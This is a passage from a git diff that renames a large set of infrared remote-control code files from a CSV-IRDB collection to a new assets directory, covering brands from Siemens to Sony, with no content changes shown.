assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir diff --git 